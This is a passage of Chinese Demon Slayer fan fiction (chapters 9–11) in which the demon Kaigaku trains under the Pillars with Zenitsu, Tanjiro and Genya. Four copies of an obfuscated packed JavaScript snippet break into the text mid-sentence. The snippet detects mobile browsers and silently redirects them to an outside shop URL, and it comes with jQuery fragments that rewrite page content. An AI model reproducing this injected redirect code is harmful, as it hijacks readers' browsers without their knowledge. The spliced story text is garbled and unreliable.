这废物在信里可一点没提这事儿! 信里祢豆子被善逸夸得天花乱坠,他还以为她是个实力强劲的女剑士! 如果早知道有祢豆子这么个先例摆在这里,他怎么会对着天音夫人和悲鸣屿自暴自弃讲出那种话! “不对,不是,我不是故意要瞒着你的!”我妻善逸也意识到了问题所在,“只是鬼杀队的队士身边居然带着一只鬼,这种违规的事情实在不好到处乱说……啊啊,你别生气嘛!” 狯岳:你去死! 怪不得这废物对他变鬼的事情接受良好,感情早就见识过了! 而此前富冈义勇和灶门炭治郎的友善态度也有了解释,悲鸣屿会为他担保也没那么难以理解,至于老师……老师他知不知道? 如果老师知道祢豆子的存在,却还是选择了切腹,那他的真实态度,岂不就是—— “大哥!对不起!真的对不起!”我妻善逸猛地推门进来,打断他的思路,语气慌张:“可是你的心声听起来好难过,我不想你这么难过!” “都说了不要听我——你干什么!滚出去!” “我可以闭上眼睛!” “这不是看不看得见的问题!” 这么大一个人杵在这,让人很不自在的好吗!还抱着他的腰不放,那头奇怪的黄毛蹭得他胸腹好痒。搞什么玩意,他裤子还没脱呢! 就在此时,甘露寺蜜璃等不及了,抱着狐狸靠近:“还没好吗?”她似乎铁了心要试探一下鬼身体的极限,“是衣服尺码不合吗?” 狯岳:“……” 狯岳:“…………” “再等一下,马上就好!”他满心烦躁,揉乱了自己的头发,“真是的……善逸,放开我,转过身去!” 我妻善逸:心声听起来没问题了,所以,“好。” 三分钟后,甘露寺蜜璃看着出现在面前的、小孩子模样的稻玉狯岳:“小孩子的韧带是比较好拉开一点……但你这样,是作弊吧?” 狯岳的眼神游移了一下:“我现在是鬼,鬼本来就是作弊的生物。不管我是什么样子,只要能达到训练目的就行吧,甘露寺大人?” 甘露寺蜜璃:“……” 她想了想,竖起一根手指:“叫姐姐。” 过关了! 虽然小孩子模样穿这种衣服也很丢脸,但过去模样的他丢脸,和现在模样的他有什么关系? 一点关系都没有! “不行不行不行,”我妻善逸捧着脸尖叫,“虽然大哥现在这样很可爱,但训练就这么混过去了吗?虽然大哥现在这样很可爱,可我怎么办?我可没办法随地大小变啊!虽然大哥现在这样很可爱!” 狯岳:“你踏马别把我挂在嘴边!” 我妻善逸没理他,眼巴巴地看着甘露寺蜜璃,甘露寺蜜璃眨了眨眼睛: “是啊,毕竟你不是鬼,”她微微一笑,“只有老老实实接受训练了呢。” 我妻善逸瞬间石化: 虽然甘露寺大人长得很可爱,但她的训练真的是地狱啊啊啊啊啊! 三天后,他抖着双腿,站都站不稳,背着装着狯岳的箱子爬着出了恋柱府。 下一站,蛇柱,伊黑小芭内。 一见面,这位蛇柱大人就向他们表现出了非同一般的敌意: “我从甘露寺那里听说了,”他连杀气都散出来了,“你们在甘露寺那里训练地很开心嘛。” 我妻善逸抬起双手:“不,其实没那么开心……” “我可没她那么温柔。你们两个,”伊黑小芭内指着我妻善逸,“一个,总是哭哭啼啼求饶。” 然后,他又指着装狯岳的箱子:“一个,变成小孩子的样子讨好人。” 他露出了极度嫌弃的眼神:“都没有廉耻心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105517|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗!” 我妻善逸:是嫉妒吧?嫉妒地都要炸了吔蛇柱大人!好可怕! 狯岳……狯岳他无言以对,缩在箱子里生闷气。 狐狸从箱顶上跳下来,向挂在蛇柱脖子上的白蛇打招呼:“你好啊,镝丸。” 白蛇发出了“嘶嘶”声,也和狐狸打招呼。 于是,肉眼可见地,伊黑小芭内的态度缓和下来了呢。 多亏了宠物外交,我妻善逸克服了对蛇柱的害怕,壮着胆子走进了训练道场…… 可蛇柱的训练是什么鬼啊! 为什么会有队士被堵着嘴绑在无数横竖的柱子上啊! 既然到了屋内,狯岳就从箱子里爬出来,站起身:“避开障碍物,通过狭小的缝隙来进攻的训练吗?” “没错。”伊黑小芭内的眼神阴测测地,“如果你们挥刀伤到人,我就把你们也绑上去。” 我妻善逸捧着脸:“咦咦咦咦咦,出现失误就要被绑上去吗?肯定有容错率的吧,比如3次这种!” “当然没有。” “……” “……” “不——要——哇——” 话虽如此,对于长于速度的雷之呼吸继承人来说,在高速移动中锁定敌人破绽,准确挥刀,是基础中的基础。 狯岳本就是甲级队士,对其他队士也没有任何同事爱,很容易就把这帮眼神凄厉的倒霉蛋看成真正的障碍物,剑技干净利落,一点多余的动作都没有。 可善逸就不一样了,所有人尖锐的心声像一锅大杂烩,把他吵得心神不宁。 “不要输给——”伊黑小芭内把“鬼”这个字吞了进去,“你师兄啊。”他又顿了顿,无奈地说:“你能不能不要哭了!” “不行不行不行,我没办法砍下去啊!”我妻善逸把木刀扔下,跪在地上捂着耳朵,“人数也太多了!即便是木刀,用了雷之呼吸后稍微碰到一下就会把人砍成重伤的啊!” “注意一点,不要砍到他们不就行了。你师兄不就做到了吗?”伊黑小芭内眼神死,“你们都是前鸣柱继子吧,能力应该不会差太多?” “不不不,能力差很多的,大哥是天才我是废柴嘛!” 那前鸣柱怎么会让你也当继子?瞎了眼吗? 肯定是你也有天赋才对吧! “……性格也差很多啊。你们真的是师兄弟吗?” “唉?!别这么说啊我已经很努力了!” 伊黑小芭内看了看沉稳干练的狯岳,又看了看乱七八糟的我妻善逸,竟然对身为鬼的狯岳生出了一丝同情心。 而狯岳的额角迸出青筋: “闭嘴!别再丢脸了!”他走上前,弯下腰,揪住善逸的后领,把他从地上提起来。“站稳!不要耍赖!” “可是——” “我知道。” “大哥你知道什么,我是因为——” “我知道!”狯岳打断他的话,深呼吸,吐出一口气:“接下来,我会在心里一直骂你。” “哈啊?!” “我允许你听我的心声。”他把木刀拍到善逸的胸口上。“所以,你只需要乖乖挨骂,不要去管其他杂音。明白了吗?” “……” “……” “你聋了?!” “没有!啊,是!”我妻善逸重新握紧了木刀,“我……” “快去!” “是!” 9. 第九章 虽然嘴上说要一直骂,但狯岳根本懒得在心里翻来倒去那几个词,骂累了就放空自己,打算看我妻善逸笑话。 ……然后没看成。 因为我妻善逸真的很努力在听他,即便他没了声,他也以为是自己没认真。 然后就,无视了其他人的心声。 而只要无视其他人的心声,我妻善逸就很快发挥出了应有的水平,连和蛇柱在场地内高速对战这种事情,稍微适应一下都做得到。 当然,能不能碰到对方的衣角,就是另外一回事了。 “那家伙不是很有天赋吗?”其他队士们在晚餐的间隙议论他,“就是性格实在一言难尽。” “如果不是狯岳凶神恶煞地盯着,他就不肯好好努力。” 耳力很好的我妻善逸:…… 就自己为自己小声辩解:“我也没偷懒啊!” 狯岳倒是听不见,但猜得到,一看他这副畏缩的模样就来气:“你倒是大声反驳啊!” 我妻善逸却一下子萎了:“……我的表现的确不太好,没有大哥就不行。” “啧。” “大哥。” “怎么?” “你会保护我的吧?” “……” “……” “你是我的……监护人,”狯岳额角迸出青筋,艰难地把这个词吐出来,“是你要负责在我伤人的时候宰了我,而不是反过来!” “噫,我做不到的!” “那你就做好切腹的准备吧,废物。” “我也不会切腹的。” “……什么玩意,你还骄傲上了?” “因为大哥无论如何都不会伤人,所以我无论如何都不会切腹。” “……” “所以我比大哥弱,需要大哥保护也没关系——” 话音未落,狯岳猛地站起身:“你要把希望全部寄托在别人身上吗,你这种人……” 他没把话说完。 这就是弱者的信任吗?信任强者的人品? 开什么玩笑呢,善逸居然对他这么有信心,他对自己都没这份信心。 可在听到这话时候,为什么胸口会有种闷闷的感觉? 一定是恶心吧! 他才不想和需要被人保护的废物绑定在一起,一定会被拖累到死! “……啊啊,走掉了。”我妻善逸看着狯岳的背影,失望地低下头,用筷子戳碗里的米饭。“真希望大哥能像别人家的大哥那样温柔……” 比如炭治郎那样,比如炼狱杏寿郎那样,实在没得选的话,尹之助那样,也…… 也…… 哎,不成。 他们都不是狯岳。 如果狯岳不是他的师兄,那他根本无所谓能不能得到他的认可;可既然狯岳是他的师兄,那他就只有想办法获得他的认可,这一条路可以走了。 没有第二种选择。 而另外一边的几个人见狯岳走了,话题又放到了他身上: “说起来,前鸣柱继子,就是狯岳和我妻两个人吧?他们的性格真是两个极端。” “我知道,狯岳在队内的风评不太好,他太独了。可能是因为觉得自己比别人强吧。” “那家伙也的确比一般人更强,不然为什么蛇柱大人单单把他叫出去一对一训练?” “……” “……” “……” “真不想承认这个事实。” “事实才不管你承不承认。” “我妻懦弱得要命,狯岳骄傲得要命,两个人如果中和一下就好了。” “他们两个很互补的。你们知道吗?”其中一个人压低声量,“狯岳唯独不会雷之呼吸一之型。至于我妻,大家在训练中也看到了,他只会一之型。” 我妻善逸:还是听得到! “唉?!这么神奇?!” “嘘!嘘!小声!雷之呼吸对天赋的要求很高。到现在,除了前鸣柱,没人能把六型完全掌握。这也是没办法的事情,他们只能凑和一下了。” “……噗嗤。” “你笑什么?” “我只是突然想到个事……他们这样,不是天生一对吗?” “乱讲什么呢,两个人都是男的。而且看起来关系不太好。” “你不懂。有的人家兄弟之间就是这么处的,嘴上骂骂咧咧,实际上互相关心。” “能理解。我爸也总是在我小的时候,一边买糖给我,一边骂我讨债鬼。不过,我还是觉得,他们其中一个是女孩子的话会比较有意思。” “我也这么觉得。” “我也是。” “好像……是这样?” “但是狯岳如果是个女孩子的话,还是蛮吓人的……你们那是什么表情?!” “普通来讲,应该假设我妻是个女孩子吧?” “我个人不太喜欢大嗓门哭包。而且,你们不觉得,狯岳不皱眉的话,那张脸还挺不错的吗?” “……当他皱眉的时候,我根本不敢盯着他的脸看好不好!” 我妻善逸听不下去了,“砰”得一声站起来。 他想要说些什么,可又不知道该说些什么——这几个人对他们没有多少恶意,只是讲话有点轻浮而已。 和那种说狯岳坏话,看不起他,诅咒他成不了柱、会死在任务里的人渣不一样。 所以,他只好假装什么都听不到,一把捞起身边还在啃油豆腐的狐狸,跑去找狯岳。 而此时的狯岳,正在蛇柱府外的森林中,和伊黑小芭内对练。 两个人都拿出了真本事,木刀激烈地碰撞在一起,发出沉闷的声响。 ——好强啊,大哥。 我妻善逸呆呆地看着两个人的交锋。 月光映照下,狯岳的神情专注而坚毅,把他的目光完全吸引住。 他早知道狯岳很强,从桃山上就知道。如今的他见多识广,本以为至少能看清他的动作,却只能认清一件事: 狯岳变得更强了。 不,还有一件事。 ……当狯岳皱眉的时候,其实他也,不敢看他的脸。 狐狸看了我妻善逸一眼,慢吞吞地啃完最后一口油豆腐,用尾巴“啪”地一下甩上他的脸。 切磋完毕,伊黑小芭内称赞:“你的实力不错。” “还差的远。”狯岳知道自己。“只是因为作弊成了……鬼,所以力量和恢复力远超于人。” “不管怎么说,这股力量能为鬼杀队所用,是件好事。你们明天就到不死川那边继续训练吧,斑纹的事情,我另想办法。” “是。” “还有!”伊黑小芭内语气一变, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105518|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拔高腔调:“你们师兄弟!离甘露寺远点!一个个的,是个男人就别对女人撒娇!” 狯岳:^=_=^。 就瞟一眼边上不知为何正在发呆的我妻善逸:都是善逸的错! 如果这废物早点通过恋柱的训练,他作为被监护人就可以跳过恋柱的训练,才不会挨蛇柱怼! 蛇柱伊黑小芭内在除了恋柱甘露寺蜜璃的事情之外,是个非常好说话的人;至于风柱不死川实弥,是个非常直接的人。 他的训练方式很简单,就是让受训队士不停冲上来砍他,直到脱力呕吐或者晕倒为止。 我妻善逸背着狯岳,看着正游刃有余地狠揍一群受训队士的不死川实弥: ⊙口⊙。 “下手好重!会死人的!好可怕!”他转身就想走,“我们跳过这里去岩柱那边吧!” “你说什么蠢话!”因为是大白天,狯岳在箱子里表示拒绝,“既然来了就给我好好训练!” “不要不要不要,不死川大人比大哥你还吓人啊!” “不要叫我大哥,尤其在这种时候!” 很丢脸的好么! 果不其然,不死川实弥那辨识度极高的声音在近处炸响: “真是让我好等。” 狯岳几乎可以想象得出,风柱那张恶人脸上会露出怎样的狞笑。 “滚过来训练,或者让我过去宰了你!” 在被不死川实弥拽住背在背后的箱子后,我妻善逸……我妻善逸只能选择接受训练。 然后很快就让不死川实弥失望了。 “那家伙是你师弟?”休息的间隙,不死川实弥把手搭在狯岳的箱子上,看着哭嚎自己腿快断了的我妻善逸皱眉。“竟然还有大喊大叫的力气,刚才一定是在装晕。虽然听伊黑描述过,但也这太离谱了。你不会和他一个水平吧,上弦一的眼光有这么差?” 狯岳:^=_=^。 狯岳:“请不要把我和他相提并论。” “这倒是个好消息——对我来说。”不死川实弥冷笑一声,“这些家伙实力太弱,连让我热热热身都做不到。如果你也是这副德行,我就亲手丢你去晒太阳!” 狯岳:→_→。 战斗狂啊,这是。 也许是因为狯岳的缘故,不死川实弥对我妻善逸非常关照。 当然,后者不想要这种关照,因为真的会死。 “我的腿一点都动不了了……”我妻善逸脸朝下趴在庭院里,累到耳鸣:“我不想训练了……我不想死……” 有东西砸到他的脑袋上,掉落在脸颊边。 他转过头一看,是饭团。 “呜呜呜,大哥,是你吗?”我妻善逸抓过饭团,“怎么办,我觉得我坚持不下去了……大哥,大哥?唉,人呢?!” “是我。”狐狸阴阳怪气:“你大哥跟着风柱到外面约会去了。” 我妻善逸:“……” 就迅速把饭团往嘴里一塞,接着目眦欲裂,用力拍胸口。 “啊啊,别吃太快了,那边那个谁,快去帮忙倒杯水——噫,你为什么要在地上爬!” “还用问吗!”我妻善逸一边爬一边回答,“因为已经感觉不到腿的存在了,没法走啊!” “我问得不是这个!” 总之,这家伙像壁虎一样,硬生生跟上去了呢。 10. 第十章 远离人群后,不死川实弥迫不及待要和货真价实的、会呼吸法的鬼打一架。 自从听闻了斑纹的存在,所有柱都不顾短命,试图短时间内提升体温和心跳。 这事儿听起来简单,但像富冈那混蛋说的那样,做起来很难。 反正不管不死川实弥怎么锻炼自己,都摸不到斑纹的边边角角。据伊黑推测,恐怕需要经过激烈的实战,生死间压力到位,极限才可能有所提升。 “我可不像伊黑,不会点到为止。”不死川实弥丢给狯岳一把真刀,“尽全力攻击我,我也会尽全力宰了你!” 话虽如此,他用的刀并不是日轮刀,而是普通刀,所以不小心砍断狯岳的脖子都不要紧。 反正狯岳是鬼,不是人,他大可以尽情发挥自己的实力,把狯岳拆成块—— 物理意义上。 “不要躲!你已经不是人了!”不死川实弥大声呵斥。“你的注意力必须从防御转向进攻!” 狯岳“啧”了一声:“不用你来提醒!” 不死川实弥可以随心所欲地朝他的脑袋招呼,可他不能给不死川实弥造成任何不可逆的损伤好不好! 作为鬼,还是鬼杀队的鬼,实在束手束脚。 好在不死川实弥比他以为的更强,他也慢慢放开了手脚。 因为所以,他们这一架打得天昏地暗,鲜血淋漓;至于疼痛,他们早已惯于忍耐,并将一直忍耐下去。 多亏了鬼的不死性,不死川实弥砍得很尽兴,狯岳也被迫了解清楚实战中身体不同部位再生速度的异同…… 以及,收获了一只失去意识的黄色蒲公英。 反正我妻善逸看着狯岳的胳膊腿满天飞,差点没被吓死,一开始还会发出些咋咋呼呼的声音,到后来,也许是因为白天的训练太累,也许是因为看习惯了,精神也随之涣散开来。 ——到底谁是谁的监护人啊喂! 狯岳恢复好身体,擦一把脸上的血痕,无可奈何地蹲下身,把他背在背上。 这糟心玩意儿到底是来干嘛的? 哪有监视到一半,自己睡过去的! 真可惜……风柱在边上,不能放着不管。 不死川实弥收刀归鞘,看着狯岳皱起眉:“你……对稀血,居然一点反应都没有。” 狯岳看一眼风柱身上被自己砍出来的伤口:“也不是完全没有。” 太香了,他很想一口咬上去的好吗。 “为什么,你居然……” 狯岳等了等,没等到下文,给了对方一个台阶:“我也不知道。”这是谎言。“可能是因为,我用的,药,”他采用了天音夫人的说法,“比较特殊。” “……据说,是独一无二的药。” “正是如此。” 狯岳只能这么干巴巴地回答。 鬼杀队的柱……大约都和鬼有血海深仇吧,除了甘露寺蜜璃这个大小姐。大家都一副苦大仇深的样子,负重前行。 不死川实弥也一定是这样,不然不会欲言又止。 是亲人被鬼杀了? 还是亲人变成了鬼? 不管哪一种,都挺令人遗憾的,呵呵。 除了这层浮于表面的同情,狯岳实在没法真正共情。 小时候,让他一次又一次遇险的,几乎都是人。 当然,鬼也曾给他带来伤害;可如果没有人的话,他也不会遇到鬼。于是事情就变得简单明了: 他讨厌鬼。 他也讨厌人。 “那个,”就在此时,一个熟悉的声音从侧面传来: “善逸和善逸的师兄,狯岳先生?” 狯岳:…… 狯岳:听到了不想听到的声音。 是那个联合水柱逮住他的小子,与善逸臭味相投的灶门炭治郎! “还有不死川先生,好久不见。”炭治郎非常礼貌,向不死川实弥深鞠躬:“我从今天起就要参加您的训练,请多关照。” 不死川实弥:关照你个头! 不死川实弥:“啧。一个个的。” 灶门炭治郎以前背着自己妹妹变成的鬼在他面前晃荡。变成鬼的狯岳现在背着自己的师弟在他面前晃荡。 最近发生的事,一件比一件离谱! 而这家伙在打过招呼后,竟然还若无其事地问狯岳:“善逸怎么了?” 狯岳:“死了。” 灶门炭治郎:“……啊哈哈您可真会开玩笑。” 走在前面的不死川实弥停下脚步。 “别太得意了!”他回头瞪他们俩,“别以为主公大人允许,我就会服气!我才不会认可!我会一直盯着你们!” 狯岳面无表情:说得好像这里是最后一站,他们不要去悲鸣屿那边继续修行了似的。 但他是柱,这是他的地盘,他说了算…… 灶门炭治郎则更出人意表:“没关系!因为我也不认可你!” 狯岳猛地转过头:哈啊?! “因为你刺伤过祢豆子!” 然后这小子就越过不死川实弥,继续向前。 ……走掉了。 狯岳瞪着灶门炭治郎的背影:这家伙这么猛,岂不是显得同样被说的他比较呆? ……算了,反正他无论如何都没法这么理直气壮。 尤其对面还是柱。下级队员应当对柱保持尊敬…… 尊敬…… “……呃,那什么,祢豆子,很强吗?”狯岳欲言又止,止言又欲,还是忍不住问不死川实弥,“都和你打了一架,居然只受到了刺伤?” 话音落下,灶门炭治郎的呼吸乱了一瞬,不死川实弥的眼角抽了抽。 “狯岳。” “……是?” “我忽然发现,”不死川实弥冷笑,“你虽然是鬼,人居然还挺老实的。” “……啊?” “怪不得都变成鬼了,还乖乖回了鬼杀队。” ……其实也没有很乖。 狯岳再一次欲言又止。 在他看来,下级必须尊重上级,因为等他成为上级之后,也想被下级这么尊重。 所以,什么立场做什么事,是理所当然的事情。找到规则,牢记规则,遵守规则,做选择的时候根据规则挑选更有利的那一个。做人的时候认真做人,做鬼的时候认真做鬼,他就是这样活下来的。 不得不说,这过程中,他有点运气,比如拥有雷之呼吸的天赋,比如遇到愿意饶他一命的鬼。 但是,善逸这废物……和废物的朋友,都是些运气更好的家伙,所以他们才会这么鲁莽,打破规则,并美其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105519|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名曰“直率”。 “哟,”狐狸蹲在道场门口的屋檐上,摇起了尾巴,“你来啦,炭治郎。” “我来啦,梨花!”灶门炭治郎高兴地招手,“能赶上和你们一起真是太好了!” 狯岳觉得不太好。 一个善逸就够他受的了,再加一个炭治郎? ……又想去晒太阳了呢,呵呵呵呵。 等善逸醒来,果不其然。 有朋友在身边,这小子胆子就大了,居然敢看着他的脸说话了! “不好!救命!大哥你没事吧?!”我妻善逸一副昏了头的模样,尖叫着扑到他的身上,“让我看看!让我看看!风柱大叔大过分了,居然把你打成——” “打成什么?” 狯岳语气阴森,把捧着他的脸上下检查的我妻善逸吓得僵住了。 “——总之,”我妻善逸终于找回了理智,收敛了音量,“你、你,现在,感觉怎么样?” “不怎么样。”狯岳一把打掉他的手。“离我远点!” “啪”得一声过后,我妻善逸捂着发红的手,眼泪在眼眶里打转。 见状,灶门炭治郎感叹:“狯岳先生,嘴巴还是一如既往地坏哎。” “就是。”狐狸点头。“态度也很坏。” 狯岳:“……” 狯岳:“啧。” 他算是知道了,这三个才是一国的! 明明是善逸这废物莫名其妙好么!他为什么非要配合演出不可?! 他可没有在外人面前表演兄友弟恭的爱好! 于是他在心里骂骂咧咧,自顾自回了房间。 “善逸,你还好吗?”灶门炭治郎担心地问,“闻起来不太妙吔。” “不太好。”我妻善逸垂头丧气。“大哥和风柱大叔打架的样子好可怕,到处都是血……” “……啊,我明白了。”灶门炭治郎点头。“祢豆子和鬼作战的时候,也经常受伤,我看得也很心痛。” “是吧!对了,祢豆子呢?我还以为她也会和你一起参加训练。” “她克服了阳光,无论如何都不能被无惨抓到。所以,主公大人帮忙把她藏起来了,我也不知道具体位置。” “原来如此。” 狐狸忽然开口:“祢豆子,一只鬼,克服了阳光?” “是的。” “无惨知道吗?” “应该,知道?” “……原来如此,大战将至啊。” “梨花,你不知道吗?” “我哪来的渠道知道哇。”狐狸翻了个白眼。“真没想到,这么快就要大结局了。” “……这是什么意思?” “你们这一代大约能把无惨解决掉的意思。” “咦,真的?梨花你对我们这么有信心?” “或者被无惨解决掉。” “……怎么这样!” “鬼是人类的顽疾,鬼杀队是针对顽疾的免疫系统。系统不断迭代升级,双方的对峙已触及临界点。站在鬼杀队这边的、克服阳光的鬼,将是最关键的变量。” “……梨花,你说的话,我们听不太懂。” “这趟旅程,恐怕会比我想象的更短。”狐狸没有解释。“我还以为,能陪那孩子……很长一段时间呢。” 11. 第十一章 我妻善逸:“……” 还是没听懂,但准确把握住了关键:“……你的意思是,大哥,会死?!” 在他飙出肮脏的高音之前,狐狸用尾巴堵他的嘴:“别吵!” “可是——” “谁都可能会死。你们每一个人都可能会死。无惨或产屋敷都可能会死。”狐狸懒洋洋地补充。“这就是,大战的含义。” 话音落下,我妻善逸明白过来,于是沉默下来。 “……是啊。”灶门炭治郎也发了一阵呆,“这也是……我们的选择。” 这是他们在加入鬼杀队之时,就已经做出的选择。 过了一会儿,我妻善逸忽然双手握拳: “不行!” 灶门炭治郎:“什么不行?” “这样下去不行,我还没得到大哥的认可啊!” “……” “在死之前,一定要把心意传达给大哥才行!” “……但是啊,我觉得欲速则不达,大晚上的,你还是别这么冲动比较——善逸!善逸!” 已经冲去找狯岳了呢。 所以,当不死川玄弥撞见好伙伴灶门炭治郎的同时,也撞见了我妻善逸一脸狰狞奋力扒门的奇景: “开门!你开门啊!我知道你没睡!我想和你谈一谈,你不要害羞嘛!开门让我进去!” 灶门炭治郎则一脸尴尬,扒拉我妻善逸:“善逸,你别——” “我们之间相处的时间不多了啊!如果现在不解决,这事儿一定会成为我的遗愿!我需要临终关怀!” “善逸,锁会被你搞坏的!” “这房门为什么会有锁?!这不是推拉门吗?为什么日式推拉门会带西洋锁!而且只有这一扇门有锁!” 顺带一提,不死川实弥虽然嘴上骂骂咧咧,这不认可、那不认可,实际上却非常照顾后辈,甚至因为后辈是个鬼,特意给鬼安排了一个用来掩藏自己特殊性的单人间。 这就是对上级保持尊敬的好处——反正狯岳是这么认为的。 他不知道我妻善逸在发什么疯,才刚被不死川实弥砍那么狠,他现在精神上很疲惫好么! “给我滚!”狯岳觉得脑瓜子嗡嗡的,“别在门口发神经!” “我才不是发神经,我这是有原因的!你开门啊我说给你听!” “我不想听!” 不死川玄弥看了一会儿:“……虽然不知道发生了什么,但都这个时间了,还是别骚扰队友比较好吧?” 我妻善逸抽空回答:“你懂什么,那是我大哥!” 不死川玄弥:大,哥? 他也有个大哥唉。 “玄弥,你也来啦!”灶门炭治郎脸上挂起笑容,“这是我妻善逸,那是梨花。善逸,梨花,这是不死川玄弥。” 狐狸礼貌颔首:“你好。” 不死川玄弥:“……你、你好。” 我妻善逸停下扒门的手:“不死川?风柱大叔是你什么人?” 不死川玄弥:大,叔? 立刻反驳:“大哥才21岁,才不是什么大叔!” “啊?那种事情无所谓吧,反正他看起来是那种很严厉的长辈……噫,别瞪我,我好好叫他不死川大人,行了吧?” 不死川玄弥这才满意:“以及,不要在大哥的宅邸里大吵大闹。” “对你来说,这才是重点吗喂!” 废话。 不死川玄弥心虚了一秒,转移话题:“你为什么非要现在和你大哥说话?换明天不行吗?” “不趁情绪上头做这个事,我怕我明天就没这个勇气了。” “……啊?” “你看,人生很短暂,尤其对我们来说。我们很可能马上就死在下一个任务当中,不是吗?之前我大哥就差点死了,之前的之前我也好几次差点死掉。不跟大哥把话说开的话,我死也不会瞑目!一想到会抱着这么巨大的遗憾去死,就觉得好凄凉好可怜……呜呜呜,我不要啊!” 灶门炭治郎扶额:“善逸,你别哭了,我也会帮忙的……玄弥?!你怎么也一副要哭了的表情?!” 不死川玄弥:他也想和大哥把事情说开啊! 而几人的吵吵嚷嚷,也终于引来了宅邸的主人,不死川实弥。 “吵死了!”他带着浓烈的杀气出现在走廊上,“你们不打算休息的话,现在就滚去对练!直到不得不休息为止!” 既然柱都来了,狯岳也不好继续待在房间里装死。 他只好一脸晦气,打开房门:“对不起,我现在就带他们去道场……” 然而,下一个出声的,是不死川玄弥: “大哥!”他鼓起勇气,站在不死川实弥面前,“我有话想和你说。” 狯岳:…… 狯岳:被善逸传染了吗? 不死川实弥:“我不想听。” 灶门炭治郎看了看风柱,又看向狯岳,狯岳……狯岳他总不能说,风柱是被他给传染了吧? “可、可是,我——” “我没有弟弟!”不死川实弥比狯岳还凶,“再来烦我,我就宰了你!” 狯岳:真羡慕风柱能说出这种话。 变成鬼的他,已经没法这么强硬地赶走我妻善逸了……见鬼,这小子怎么又抱上来了! “好可怕!”我妻善逸抱着狯岳的肩膀,把脸搁在他的颈侧,“不死川大人看起来真的会干掉玄弥!” 狯岳:蠢货,风柱哪里会真的干掉自己的亲弟弟! 而不死川实弥嘴巴超硬:“少来套近乎!赶紧给我退出鬼杀队,没有天赋,用不了呼吸法的家伙,没资格当鬼杀队的剑士!” 说完,他转身就走。 不死川玄弥的声音抖得厉害:“等一下,大哥,我……我一直想,向你道歉,而且——” “我根本不在乎,快滚!” 不死川玄弥没敢追上去。 他看上去很害怕不死川实弥,但又实在想解决问题,努力把话挤了出来:“而且……我,我可是靠吃鬼,一直努力战斗到现在的啊……” 狯岳:…… 狯岳:??? 什么叫做,吃,鬼?! “原来如此,这孩子是噬鬼者。”狐狸见狯岳和善逸不明白,开口解释:“他可以通过吃鬼,暂时获得鬼的能力。只在有需要才变成鬼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105520|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对鬼杀队来说,是很便利的体质。” 我妻善逸惊呼:“这不是很有天赋吗?” 然而,不死川实弥不这么认为。 又或者,他认为,这种天赋非常恶心。 不然,他为什么忽然向不死川玄弥出手,招式还超级凶悍,几乎是奔着将玄弥打残去的呢? “危险!” 比声音更快的,是灶门炭治郎扑倒不死川玄弥的动作。 多亏了他这一扑,不然,不死川玄弥就不止脸部的划伤,而是眼睛要被戳瞎。 被亲哥哥,不死川实弥戳瞎。 “这也太过分了吧!”我妻善逸在狯岳的耳边尖叫,“不死川大人是要杀了玄弥吗?!” 狯岳按住耳朵:“不至于……吧?” “即使是柱,杀人也是违反队律的。”不死川实弥回答,“但把人打废不是!” 抛开那些不近人情的修辞不谈,不死川实弥的诉求只有一个: “除非,你现在,立刻,退出鬼杀队!” 可不死川玄弥努力到了今天,吃鬼、杀鬼,不是为了被大哥打上一顿,再灰溜溜地离开! “别开玩笑了!你没有权利要求玄弥退出鬼杀队!”灶门炭治郎挡在不死川玄弥面前,替他把话说出口:“你不是说,你没有弟弟吗?那你就没有资格管他!不管他有没有天赋,他都已经赌上性命和鬼作战。如果你不是他的哥哥,我绝对不会让你妨碍他!如果没有他的话,之前的战斗中,我们也不可能战胜上弦!怎么可能让你把他打废!” 不死川实弥懒得和他辩:“那我就先把你打废!” 接着,就以前所未有的速度和力量,一拳轰过去了呢。 做好准备的灶门炭治郎顺着拳劲调整姿势,用身体把他的拳头锁住,再借力抬腿,一膝盖顶中不死川实弥的脖子! 漂亮的反击! 但并不足以让不死川实弥失去战斗力。 